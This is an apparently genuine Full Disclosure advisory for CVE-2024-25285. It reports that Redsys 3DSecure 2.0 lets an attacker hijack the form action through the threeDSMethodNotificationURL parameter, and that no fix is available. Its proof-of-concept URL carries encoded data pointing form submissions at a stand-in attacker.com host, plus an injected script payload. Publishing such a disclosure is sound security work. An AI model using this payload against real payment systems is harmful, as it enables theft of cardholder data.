[FD] CVE-2024-25285 - RedSys - 3DSecure 2.0 is vulnerable to form action hijacking

[RUBEN LOPEZ HERRERA <ruben.lopezherrera@xxxxxxxxxxxxxx>]

Product: 3DSecure 2.0
Manufacturer: Redsys
Affected Version(s): 3DSecure 2.0 3DS Method Authentication
Tested Version(s): 3DSecure 2.0 3DS Method Authentication
Vulnerability Type: Cross-Site Scripting (XSS)
Risk Level: Medium
Solution Status: Not yet fixed
Manufacturer Notification: 2024-01-17
Solution Date: N/A
Public Disclosure: 2024-09-17
CVE Reference: CVE-2024-25285

Overview:
3DSecure 2.0 is vulnerable to form action hijacking via the 
threeDSMethodNotificationURL parameter. This flaw allows attackers to change 
the destination website for form submissions, enabling data theft.

Vulnerability Details:
The threeDSMethodNotificationURL parameter is vulnerable to modification, 
allowing attackers to redirect form submissions to malicious destinations.

Proof of Concept (PoC):
By modifying the threeDSMethodNotificationURL parameter in a POST request, an 
attacker can change the form's action URL. Example:

https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze

Solution:
No solution is currently available. Redsys has been notified.

References:
OWASP Web Security Testing Guide: Form Action Hijacking

Discoverer:
Reported by Rubén López Herrera

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